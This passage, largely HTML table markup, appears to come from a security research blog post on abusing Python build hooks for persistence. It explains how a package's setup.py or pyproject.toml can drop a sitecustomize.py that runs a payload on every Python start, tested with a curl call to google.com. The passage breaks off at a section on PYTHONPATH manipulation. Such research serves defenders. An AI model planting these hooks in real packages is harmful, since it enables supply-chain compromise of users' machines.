-webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: center; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW180821648 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; font-weight: bold; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW180821648 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">Build</span></span><span class="EOP SCXW180821648 BCX4" data-ccp-props="{&quot;134233117&quot;:true,&quot;134233118&quot;:true,&quot;201341983&quot;:0,&quot;335551550&quot;:2,&quot;335551620&quot;:2,&quot;335559740&quot;:240}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td class="LastCol SCXW180821648 BCX4" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: middle; position: relative; background-color: transparent; background-clip: padding-box; border: 3px outset; width: 399px;"><div class="TableCellContent SCXW180821648 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 1px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW180821648 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW180821648 BCX4" paraid="1807992309" paraeid="{6dce087d-fd39-46f4-b6c8-5d83250051e0}{222}" style="-webkit-user-drag: none; margin: auto 0px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW180821648 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW180821648 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">setup.py, </span><span class="NormalTextRun SCXW180821648 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">pyproject.toml</span></span><span class="EOP SCXW180821648 BCX4" data-ccp-props="{&quot;134233117&quot;:true,&quot;134233118&quot;:true,&quot;201341983&quot;:0,&quot;335559740&quot;:240}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td></tr><tr class="TableRow SCXW180821648 BCX4" role="row" aria-rowindex="5" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; height: 0px;"><td class="FirstCol LastRow SCXW180821648 BCX4" role="rowheader" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: middle; position: relative; background-color: transparent; background-clip: padding-box; border: 3px outset; width: 223px;"><div class="TableCellContent SCXW180821648 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 1px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW180821648 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW180821648 BCX4" paraid="2023432926" paraeid="{6dce087d-fd39-46f4-b6c8-5d83250051e0}{230}" style="-webkit-user-drag: none; margin: auto 0px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: center; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW180821648 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; font-weight: bold; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW180821648 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">Distributions</span></span><span class="EOP SCXW180821648 BCX4" data-ccp-props="{&quot;134233117&quot;:true,&quot;134233118&quot;:true,&quot;201341983&quot;:0,&quot;335551550&quot;:2,&quot;335551620&quot;:2,&quot;335559740&quot;:240}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td class="LastCol LastRow SCXW180821648 BCX4" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: middle; position: relative; background-color: transparent; background-clip: padding-box; border: 3px outset; width: 399px;"><div class="TableCellContent SCXW180821648 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 1px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW180821648 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW180821648 BCX4" paraid="1922403991" paraeid="{6dce087d-fd39-46f4-b6c8-5d83250051e0}{237}" style="-webkit-user-drag: none; margin: auto 0px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW180821648 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW180821648 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">sdist</span><span class="NormalTextRun SCXW180821648 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">, wheel</span></span><span class="EOP SCXW180821648 BCX4" data-ccp-props="{&quot;134233117&quot;:true,&quot;134233118&quot;:true,&quot;201341983&quot;:0,&quot;335559740&quot;:240}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td></tr></tbody></table>
<!--kg-card-end: html-->
<p></p><p>Python&#x2019;s <a href="https://docs.python.org/3/library/site.html" rel="noreferrer noopener"><u>site</u></a> module provides <code>sitecustomize</code> and <code>usercustomize</code> hooks in order to help customize Python deployments per site. Originally, it is aimed to help customize the environment before Python is executed. These hooks runs the contents of &#x201C;usercustomize.py&#x201D; and &#x201C;sitecustomize.py&#x201D; files, which are located within the directories listed in <code>sys.path</code> Python variable. Package folders are one of the directories Python looks for these modules. If an adversary manages to manipulate existing scripts or drop their own into one of these directories, they can hijack the given environment and execute their payload with every Python invocation, therefore achieving persistence on the victim endpoint. The VIPERTUNNEL backdoor was <a href="https://socprime.com/active-threats/vipertunnel-python-backdoor-analysis/" rel="noreferrer noopener"><u>reported</u></a> to abuse site hooks in order to import and trigger DLL execution.&#xA0;</p><p>Similarly to the previous technique, we can use both &#x201C;setup.py&#x201D; and &#x201C;pyproject.toml&#x201D; in order to drop &#x201C;sitecustomize.py&#x201D; directly under the packages folder. After installing the package, we&#x2019;ve executed <code>pip freeze</code>, to test the execution of our payload. Since the <code>pip</code> command uses Python environment in the background, it triggered our payload, and we observed <code>curl</code> command making connection attempts against &#x201C;www.google.com&#x201D;.</p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/carbon-11.png" class="kg-image" alt="The serpent&#x2019;s tongue: Luring the Python out of its den" loading="lazy" width="1430" height="458" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/07/carbon-11.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/07/carbon-11.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/carbon-11.png 1430w" sizes="(min-width: 720px) 720px"></figure><h3 id="manipulation-of-pythonpath-environment-variable">Manipulation of PYTHONPATH Environment Variable&#xA0;</h3>
<!--kg-card-begin: html-->
<table class="Table Ltr TableWordWrap SCXW248921614 BCX4" border="1" dir="ltr" data-tablestyle="MsoNormalTable" data-tablelook="1184" aria-rowcount="5" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; table-layout: fixed; width: 1px; border-collapse: collapse; empty-cells: show; position: relative; overflow: visible; background: none; border-spacing: 0px;"><tbody class="SCXW248921614 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text;"><tr class="TableRow SCXW248921614 BCX4" role="row" aria-rowindex="1" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; height: 0px;"><td class="FirstRow FirstCol SCXW248921614 BCX4" role="rowheader" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: middle; position: relative; background-color: transparent; background-clip: padding-box; border: 3px outset; width: 223px;"><div class="TableCellContent SCXW248921614 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 1px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW248921614 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW248921614 BCX4" paraid="840990903" paraeid="{1ffc0050-9399-4184-9ddf-418b0534845b}{121}" style="-webkit-user-drag: none; margin: auto 0px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: center; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW248921614 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; font-weight: bold; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW248921614 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">OS</span></span><span class="EOP SCXW248921614 BCX4" data-ccp-props="{&quot;134233117&quot;:true,&quot;134233118&quot;:true,&quot;201341983&quot;:0,&quot;335551550&quot;:2,&quot;335551620&quot;:2,&quot;335559740&quot;:240}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td class="FirstRow LastCol SCXW248921614 BCX4" role="columnheader" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: middle; position: relative; background-color: transparent; background-clip: padding-box; border: 3px outset; width: 399px;"><div class="TableCellContent SCXW248921614 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 1px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW248921614 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW248921614 BCX4" paraid="603372328" paraeid="{1ffc0050-9399-4184-9ddf-418b0534845b}{128}" style="-webkit-user-drag: none; margin: auto 0px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW248921614 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW248921614 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">Windows, Linux, macOS</span></span><span class="EOP SCXW248921614 BCX4" data-ccp-props="{&quot;134233117&quot;:true,&quot;134233118&quot;:true,&quot;201341983&quot;:0,&quot;335559740&quot;:240}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td></tr><tr class="TableRow SCXW248921614 BCX4" role="row" aria-rowindex="2" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; height: 0px;"><td class="FirstCol SCXW248921614 BCX4" role="rowheader" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: middle; position: relative; background-color: transparent; background-clip: padding-box; border: 3px outset; width: 223px;"><div class="TableCellContent SCXW248921614 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 1px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW248921614 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW248921614 BCX4" paraid="624110477" paraeid="{1ffc0050-9399-4184-9ddf-418b0534845b}{136}" style="-webkit-user-drag: none; margin: auto 0px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: center; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW248921614 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; font-weight: bold; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW248921614 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">Category</span></span><span class="EOP SCXW248921614 BCX4" data-ccp-props="{&quot;134233117&quot;:true,&quot;134233118&quot;:true,&quot;201341983&quot;:0,&quot;335551550&quot;:2,&quot;335551620&quot;:2,&quot;335559740&quot;:240}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td class="LastCol SCXW248921614 BCX4" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: middle; position: relative; background-color: transparent; background-clip: padding-box; border: 3px outset; width: 399px;"><div class="TableCellContent SCXW248921614 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 1px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW248921614 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW248921614 BCX4" paraid="924482814" paraeid="{1ffc0050-9399-4184-9ddf-418b0534845b}{143}" style="-webkit-user-drag: none; margin: auto 0px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW248921614 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW248921614 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">Build Hook Abuse</span></span><span class="EOP SCXW248921614 BCX4" data-ccp-props="{&quot;134233117&quot;:true,&quot;134233118&quot;:true,&quot;201341983&quot;:0,&quot;335559740&quot;:240}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td></tr><tr class="TableRow SCXW248921614 BCX4" role="row" aria-rowindex="3" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; height: 0px;"><td class="FirstCol SCXW248921614 BCX4" role="rowheader" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: middle; position: relative; background-color: transparent; background-clip: padding-box; border: 3px outset; width: 223px;"><div class="TableCellContent SCXW248921614 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 1px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW248921614 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW248921614 BCX4" paraid="1554830812" paraeid="{1ffc0050-9399-4184-9ddf-418b0534845b}{151}" style="-webkit-user-drag: none; margin: auto 0px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: center; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW248921614 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; font-weight: bold; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW248921614 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">Persistence</span></span><span class="EOP SCXW248921614 BCX4" data-ccp-props="{&quot;134233117&quot;:true,&quot;134233118&quot;:true,&quot;201341983&quot;:0,&quot;335551550&quot;:2,&quot;335551620&quot;:2,&quot;335559740&quot;:240}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td class="LastCol SCXW248921614 BCX4" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: middle; position: relative; background-color: transparent; background-clip: padding-box; border: 3px outset; width: 399px;"><div class="TableCellContent SCXW248921614 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 1px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW248921614 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW248921614 BCX4" paraid="1838493501" paraeid="{1ffc0050-9399-4184-9ddf-418b0534845b}{158}" style="-webkit-user-drag: none; margin: auto 0px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW248921614 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW248921614 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">Persistent</span></span><span class="EOP SCXW248921614 BCX4" data-ccp-props="{&quot;134233117&quot;:true,&quot;134233118&quot;:true,&quot;201341983&quot;:0,&quot;335559740&quot;:240}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td></tr><tr class="TableRow SCXW248921614 BCX4" role="row" aria-rowindex="4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; height: 0px;"><td class="FirstCol SCXW248921614 BCX4" role="rowheader" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: middle; position: relative; background-color: transparent; background-clip: padding-box; border: 3px outset; width: 223px;"><div class="TableCellContent SCXW248921614 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 1px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW248921614 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW248921614 BCX4" paraid="1979903537" paraeid="{1ffc0050-9399-4184-9ddf-418b0534845b}{166}" style="-webkit-user-drag: none; margin: auto 0px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: center; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW248921614 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; font-weight: bold; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW248921614 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">Build</span></span><span class="EOP SCXW248921614 BCX4" data-ccp-props="{&quot;134233117&quot;:true,&quot;134233118&quot;:true,&quot;201341983&quot;:0,&quot;335551550&quot;:2,&quot;335551620&quot;:2,&quot;335559740&quot;:240}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td class="LastCol SCXW248921614 BCX4" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: middle; position: relative; background-color: transparent; background-clip: padding-box; border: 3px outset; width: 399px;"><div class="TableCellContent SCXW248921614 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 1px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW248921614 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW248921614 BCX4" paraid="1769519039" paraeid="{1ffc0050-9399-4184-9ddf-418b0534845b}{173}" style="-webkit-user-drag: none; margin: auto 0px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW248921614 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW248921614 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">setup.py</span></span><span class="EOP SCXW248921614 BCX4" data-ccp-props="{&quot;134233117&quot;:true,&quot;134233118&quot;:true,&quot;201341983&quot;:0,&quot;335559740&quot;:240}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td></tr><tr class="TableRow SCXW248921614 BCX4" role="row" aria-rowindex="5" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; height: 0px;"><td class="FirstCol LastRow SCXW248921614 BCX4" role="rowheader" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: middle; position: relative; background-color: transparent; background-clip: padding-box; border: 3px outset; width: 223px;"><div class="TableCellContent SCXW248921614 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 1px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW248921614 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; 